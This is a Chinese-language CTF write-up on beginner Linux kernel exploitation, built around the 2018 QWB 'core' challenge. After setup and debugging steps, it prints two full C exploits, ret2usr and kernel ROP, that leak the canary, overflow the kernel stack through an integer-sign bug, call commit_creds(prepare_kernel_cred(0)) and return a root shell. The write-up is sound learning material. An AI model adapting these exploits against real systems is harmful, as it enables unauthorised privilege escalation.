( 原文链接:https://0xffff.one/d/419 )

- -·

据说下次的某一场比赛中会有kernel的题目,所以就顺便把kernel的题也入门了。在这里把遇到的坑记一下 (入门用的是kernel的hello world题,2018的强网杯core)

介绍篇·

这部分的话CTF-wiki会讲得更详细一些。

通常kernel题都会给以下几个文件

1
2
✎ $ ls
bzImage core.cpio start.sh vmlinux

不同的题目文件取名可能会不一样。这里重点关注的是start.sh和core.cpio(其他wiki也有说),start.sh是qemu的启动脚本,题目给的内核是需要虚拟机来运行的,所以需要先安装好qemu。

core.cpio是文件系统的映像(跟我自己系统的根差不多吧- -),解包后如下:

解包的脚本(根据自己需求改吧):

1
2
3
4
5
6
7
mkdir core
mv core.cpio ./core/core.cpio.gz
cd core
gunzip core.cpio.gz > /dev/null 2>&1
cpio -idmv < core.cpio > /dev/null 2>&1
rm core.cpio
cd ..

另外附上重打包脚本:

1
2
3
4
5
cd core
./gen_cpio.sh core.cpio > /dev/null 2>&1
mv core.cpio ../core.cpio
cd ..
rm -rf core

解包出来的文件重点关注这三个:core.ko、init和vmlinux(同样,不同题目名字可能不一样)。core.ko是那个出题人写的内核模块,通常漏洞都是在这里的;init是启动内核后会运行的开机脚本;vmlinux大概是内核的二进制文件吧,找ROP的时候会用到,有时题目给的vmlinux和解包出来的vmlinux会不一样的(贼坑),应该按包里面的为准。

IDA大概看一下core.ko的结构,通常都应该会找到下面两个函数的:

ioctl是大概是用户和内核交互的一个接口吧,可以看到里面是一个switch case(其实我没看过别的题的,应该都差不多吧- -),给某个特定的case就会执行特定的操作。

init_module函数是加载模块时会执行的初始化函数,重点关注的是里面的core_fops数组,只有写在这个数组里面的函数才可以被用户态调用(好像是叫file_operations)。

环境篇·

在解题前还要先做一些准备。首先是start.sh里要把内存调大一点(-m那个参数,大概128或256应该就够了),另外为了方便调试还可以先关闭一些保护(-append那个参数,怎么关的话谷歌一下吧,我也没关过- -)。

还有要改的是init那个文件,可以加上下面两行,第一行是因为内核中的打印都是用printk的,需要用dmesg看日志,加上这一行才能不需要root运行dmesg;第二行是把那个自定义模块的基址打印到另一个文件中,调试要用。不过把原先的init文件中的echo 1的那两句删掉应该也是同样效果的- -。

1
2
echo 0 > /proc/sys/kernel/dmesg_restrict
cat /sys/module/core/sections/.text > /tmp/core_text

加完后如下

另外,在这题中还把kallsyms放到tmp里了,这个文件可以泄漏一些内核函数地址(和基址),不过其实下面会说到栈里面就可以泄漏这些地址了,所以这题用处不大。

ROP的话用ROPgadget跑的话会慢到想死。。。用ropper跑的话会快一点,但要求内存要够(我的垃圾小米跑几次卡几次 - -)

调试的话就是用gdb了,qemu的启动中有个 -s 参数,就是开启了gdb的1234端口的远程调试。还有刚才弄的core_text文件,可以用来加载符号,具体做法(要先运行start.sh):

1
2
3
4
gdb vmlinux
pwndbg> add-symbol-file core.ko `这里写那个core_text文件中泄漏出来的基址`
pwndbg> target remote:1234
pwndbg> b *(core_copy_func+104)

第一句就是根据基址加载模块的符号,第二句是远程调试进入虚拟机,第三句就可以愉快地用符号下断点了。

另外在那个内核中发现没有gcc - - ,所以只想到每次改完后重新打包把exp放进去了。还有一种更骚的方法是用wget。。。

实战篇·

实战就是2018强网杯的kernel题了。题目给了漏洞很明显的read、write和copy三个函数,可以说是为了出题而出题了。

首先看core_fops,只有write和ioctl;再看ioctl,可以从这里调用read和copy,还有一项可以设置read中的一个参数(上面有图这里就不放了)。

read中有一个漏洞,通过控制好offset可以泄漏栈的一些内容,如canary,代码基址,栈基址等。(另外,copy_to_user这个函数是把内核态的一些东西复制到用户态那里去,copy_from_user则是相反)

copy里则是一个整数溢出的漏洞,可以绕过范围检测造成栈溢出(那个nsigned int16也是挺显眼的了,还有input是有符号的,给个负数就可以绕过了)。

所以利用思路就是:read泄漏信息 -> write把ROP写到name上 -> copy栈溢出控制程序流 。

这里还要说明一下的是kernel题除了getshell外主要做的其实是要提权(就是那个root权限,uid为0的),提权用的代码如下,据说prepare_kernel_cred是用来生成一个cred结构体的(默认uid是0 ??),commit_creds用于把这个结构体赋给进程,最终达到提权。

1
commit_creds(prepare_kernel_cred(0))

还有要注意而且比较麻烦(对我这种刚入门的菜鸡来说)就是内核态和用户态切换是要进行现场保护,要用到两个指令,一个是swapgs,听名字是用来换也的,就是恢复gs吧;另一个是iretq,用来恢复一些寄存器(CS, eflags/rflags, esp/rsp 等,这两个维基也有说),据说sysretq不用这么麻烦,但我没用过。

用iretq的话最后返回是要在栈上摆一下要恢复的寄存器的值,顺序应该是(CS, eflags/rflags, esp/rsp, ss;我也还没搞清楚,不过好像是记住就行了),通过一下函数可以把用户态的对应寄存器值保存到程序的变量中(也是记住吧):

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss),"=r"(user_rflags),"=r"(user_sp)
:
: "memory"
);
}

然后就回到题目了,这道题有两种解法

ret2usr·

先放exp,再解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <sys/fcntl.h> 
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
:"=r"(user_cs), "=r"(user_ss),"=r"(user_sp),"=r"(user_rflags)
:
: "memory"
);
}

void getShell(){
system("/bin/sh");
}

unsigned long c_c;
unsigned long p_k_c;
void getRoot(){
char* (*pkc)(int) = p_k_c;
int (*cc)(char*) = c_c;
(*cc)( (*pkc)(0) );
}

unsigned long buf[16] = {0};
unsigned long rop[32] = {0};
unsigned long vm_base = 0xffffffff81000000;
// cat kallsyms | grep commit_creds
// ^ - 0x9c8e0
int main(){
save_stats();
int fd = open("/proc/core", O_RDWR);
ioctl(fd, 0x6677889C,64);
ioctl(fd, 0x6677889B,buf);
printf("----- stack -----\n");
for(int i=0;i<8;i++){
printf("0x%lx\n",buf[i]);
}
unsigned long canary = buf[0];
printf("canary -> 0x%lx\n",canary);

vm_base = buf[4] - 0x1dd6d1;
printf("vm_base -> 0x%lx\n",vm_base);
unsigned long swapgs = vm_base + 0xa012da;
unsigned long iretq = vm_base + 0x50ac2;
unsigned long commit_creds = vm_base + 0x9c8e0;
unsigned long prepare_kernel_cred = vm_base + 0x9cce0;
unsigned long pop_rdi = vm_base + 0xb2f;
unsigned long mov_rax_rdi = vm_base + 0x52d8d;

c_c = commit_creds;
p_k_c = prepare_kernel_cred;

rop[8] = canary;
rop[9] = buf[1]; // old rbp
rop[10] = (unsigned long)getRoot; // ret2usr
rop[11] = swapgs; // 恢复现场
rop[12] = 0;
rop[13] = iretq;
rop[14] = (unsigned long)getShell;
rop[15] = user_cs;
rop[16] = user_rflags;
rop[17] = user_sp;
rop[18] = user_ss;
write(0,"test!",5);
write(fd,rop,0xc0);
ioctl(fd,0x6677889A,0xffffffff000000c0);
}

kernel题的exp通常都是C语言(或C++ ?)写的,因为不用远程连接。

所谓ret2usr就是用户态不能访问内核态的东西,但是内核态可以访问用户态的东西,所以就可以利用内核的漏洞,在内核态中调用用户态的程序(函数或shellcode)。但这种方法在今天是很有局限性的,因为会有一种叫SMEP的保护机制禁止内核态执行用户态的程序,但这道题没有开SMEP。

然后就对着exp讲了,save_stats上面也说过,要保存某些寄存器的值。

getShell就是get shell了,因为最终目的是要拿到一个root权限的shell。

getRoot就是上面说过的提权函数commit_creds(prepare_kernel_cred(0)),因为直接写这个函数的话链接会失败,所以有一种技巧就是用函数指针,这需要先知道对应函数的地址,上面也说过read可以把我想要的东西泄漏出来了。

ioctl把offset调成64再read可以泄漏stack guard(canary),除此之外代码的基址和栈的基址也可以通过泄漏的东西计算出来(这题只有代码基址有用,可以算ROP)。

fd那个好像是ioctl要用到的,也是抄别人的。其他的话注释也有了,exp不长,应该可以看懂的(逃

kernel ROP·

先放exp,再解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <sys/fcntl.h> 
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

void getShell(){
system("/bin/sh");
}

unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss),"=r"(user_rflags),"=r"(user_sp)
:
: "memory"
);
}

unsigned long buf[16] = {0};
unsigned long rop[32] = {0};
unsigned long vm_base = 0xffffffff81000000;
// cat kallsyms | grep commit_creds
// ^ - 0x9c8e0
int main(){
save_stats();
int fd = open("/proc/core", O_RDWR);
ioctl(fd, 0x6677889C,64);
ioctl(fd, 0x6677889B,buf);
printf("----- stack -----\n");
for(int i=0;i<8;i++){
printf("0x%lx\n",buf[i]);
}
unsigned long canary = buf[0];
printf("canary -> 0x%lx\n",canary);
unsigned long code_base = buf[2]-0x19b;
printf("code_base -> 0x%lx\n",code_base);
unsigned long stack_base = code_base+0x2400;
printf("stack_base -> 0x%lx\n",stack_base);

vm_base = buf[4] - 0x1dd6d1;
printf("vm_base -> 0x%lx\n",vm_base);
unsigned long swapgs = vm_base + 0xa012da;
unsigned long iretq = vm_base + 0x50ac2;
unsigned long commit_creds = vm_base + 0x9c8e0;
unsigned long prepare_kernel_cred = vm_base + 0x9cce0;

unsigned long pop_rdi = vm_base + 0xb2f;
unsigned long pop_rdx = vm_base + 0xa0f49;
unsigned long mov_rdi_rax_call_rdx = vm_base + 0x1aa6a;

rop[8] = canary;
rop[9] = buf[1];
rop[10] = pop_rdi;
rop[11] = 0;
rop[12] = prepare_kernel_cred;
rop[13] = pop_rdx;
rop[14] = pop_rdx;
rop[15] = mov_rdi_rax_call_rdx;
rop[16] = commit_creds;
rop[17] = swapgs;
rop[18] = 0;
rop[19] = iretq;
rop[20] = (unsigned long)getShell;
rop[21] = user_cs;
rop[22] = user_rflags;
rop[23] = user_sp;
rop[24] = user_ss;
write(0,"test!",5);
write(fd,rop,0xd0);
ioctl(fd,0x6677889A,0xffffffff000000d0);
}

kernel ROP是一种更通用的方法,就算SMEP开了也可以用。其实跟普通的ROP一样,也没什么好说的。。。

有个地方要注意一下的是调用完prepare_kernel_cred后要把结果当作commit_creds的参数,本来是需要"mov rdi, rax; ret"的,但是vmlinux里面没有这个ROP,所以参考p4nda的做法用"mov rdi, rax; call rdx"代替,在rdx放一个pop的指令就可以废掉"call rdx"。

后面恢复现场的做法跟ret2usr一样。

Link·

CTF wiki p4nda的题解 kernel pwn(0) Linux Kernel ROP 环境搭建